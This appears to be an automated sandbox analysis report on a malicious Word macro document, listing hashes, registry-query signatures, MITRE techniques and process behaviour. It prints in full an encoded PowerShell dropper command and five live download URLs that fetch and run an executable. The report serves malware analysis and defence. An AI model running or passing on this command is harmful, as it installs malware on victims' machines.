56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53

General

Target

56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53.doc
Size

168KB
MD5

f25839380349099bcc91c17e337410c9
SHA1

e0d97e0496f43485f8ab9538e79d90d3845fa309
SHA256

56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53
SHA512

0eaea2f974781b1501b20dec6f37c5c445acb4b3035b26cf0795aa45bbbd9ab0175a6dc051b74564d4db46fdb746f05e64ad7a575fdaa87bda59567e3933edec

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://artmikhalchyk.com/wp-includes/mYW3/

exe.dropper

http://franosbarbershop.com/wp-content/plugins/IUh1/

exe.dropper

http://arexcargo.com/wp-includes/QBci/

exe.dropper

http://altarfx.com/wordpress/wQYt/

exe.dropper

http://uitcs.acm.org/wp-content/fqSlt/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2688	5116	powershell.exe

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

12 2688 powershell.exe
27 2688 powershell.exe
39 2688 powershell.exe

flow	pid	process
12	2688	powershell.exe
27	2688	powershell.exe
39	2688	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1864 WINWORD.EXE
1864 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2688 powershell.exe
2688 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2688 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1864 WINWORD.EXE
1864 WINWORD.EXE
1864 WINWORD.EXE
1864 WINWORD.EXE
1864 WINWORD.EXE
1864 WINWORD.EXE
1864 WINWORD.EXE

pid	process
1864	WINWORD.EXE
1864	WINWORD.EXE

pid	process
2688	powershell.exe
2688	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2688	powershell.exe

pid	process
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABrAEEAeAB3AFUAdwBBAGsAPQAoACcAaQAnACsAJwBrACcAKwAnAG8AUQBBAEEAbwBaACcAKQA7ACQAbABBAEEAUQBDAG8ARAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQATwBBAEQAdwBBADEARAA9ACgAJwBoACcAKwAnAHQAdABwADoALwAvAGEAcgB0AG0AaQBrACcAKwAnAGgAYQBsAGMAaAB5AGsALgBjAG8AbQAvAHcAcAAtAGkAbgAnACsAJwBjACcAKwAnAGwAdQBkAGUAcwAnACsAJwAvACcAKwAnAG0AWQBXADMALwBAAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8AZgByAGEAbgBvAHMAYgBhACcAKwAnAHIAYgBlAHIAcwBoACcAKwAnAG8AcAAuAGMAbwBtAC8AdwAnACsAJwBwAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAvACcAKwAnAHAAbAB1AGcAaQBuAHMALwBJAFUAaAAxAC8AJwArACcAQABoAHQAJwArACcAdABwADoALwAvAGEAcgBlACcAKwAnAHgAYwBhAHIAZwBvAC4AJwArACcAYwBvAG0ALwAnACsAJwB3AHAALQBpAG4AYwBsAHUAZABlAHMAJwArACcALwAnACsAJwBRACcAKwAnAEIAYwBpACcAKwAnAC8AQAAnACsAJwBoAHQAdAAnACsAJwBwADoALwAvAGEAJwArACcAbAB0AGEAJwArACcAcgBmAHgAJwArACcALgBjACcAKwAnAG8AbQAvACcAKwAnAHcAJwArACcAbwByAGQAcAByAGUAcwBzAC8AJwArACcAdwAnACsAJwBRAFkAdAAvAEAAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwB1AGkAJwArACcAdABjAHMALgBhAGMAbQAnACsAJwAuACcAKwAnAG8AcgBnAC8AJwArACcAdwAnACsAJwBwAC0AYwBvAG4AdABlAG4AJwArACcAdAAvACcAKwAnAGYAcQBTAGwAdAAnACsAJwAvACcAKQAuACgAJwBTACcAKwAnAHAAbABpAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnAEAAJwApADsAJABNAEEAbwBRAEIAQgA9ACgAJwBQACcAKwAnADQAQQBrAFgAJwArACcAWABVAFgAJwApADsAJABtAG8ARwAxAFUAQQBBACAAPQAgACgAJwA4ACcAKwAnADUAOQAnACkAOwAkAGEARABBAEEAUQBCAEQAQgA9ACgAJwBNAEEAMQBEAEQAJwArACcANABvACcAKQA7ACQAaQBBAFEAQQBRAFoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAG0AbwBHADEAVQBBAEEAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABQAEEAQQA0AEEAawBaACAAaQBuACAAJABPAEEARAB3AEEAMQBEACkAewB0AHIAeQB7ACQAbABBAEEAUQBDAG8ARAAuACgAJwBEACcAKwAnAG8AdwBuACcAKwAnAGwAbwBhAGQARgBpAGwAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAUABBAEEANABBAGsAWgAsACAAJABpAEEAUQBBAFEAWgApADsAJABoAEEAQQBBAEEAQgA9ACgAJwB3ACcAKwAnAFUAawAnACsAJwBEAFgARABBACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABpAEEAUQBBAFEAWgApAC4AIgBMAGAARQBuAGAAZwBUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AC4AKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAIAAkAGkAQQBRAEEAUQBaADsAJABRAFoAawBBAHcAQQBCAFUAPQAoACcAegAnACsAJwBBAEIANABRAEEANABrACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGsAQQAxAEQAQQBBAD0AKAAnAEMAJwArACcAQQBBAEEARABBACcAKQA7AA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1864-138-0x0000024C6B540000-0x0000024C6B544000-memory.dmp

Filesize
16KB

Download
memory/1864-136-0x00007FF89C7A0000-0x00007FF89C7B0000-memory.dmp

Filesize
64KB

Download
memory/1864-132-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-133-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-130-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-135-0x00007FF89C7A0000-0x00007FF89C7B0000-memory.dmp

Filesize
64KB

Download
memory/1864-131-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-146-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-134-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-145-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-144-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-143-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/2688-141-0x00007FF8B3F80000-0x00007FF8B4A41000-memory.dmp

Filesize
10.8MB

Download
memory/2688-140-0x00007FF8B3F80000-0x00007FF8B4A41000-memory.dmp

Filesize
10.8MB

Download
memory/2688-139-0x00007FF8B3F80000-0x00007FF8B4A41000-memory.dmp

Filesize
10.8MB

Download
memory/2688-137-0x000001DD9E5E0000-0x000001DD9E602000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads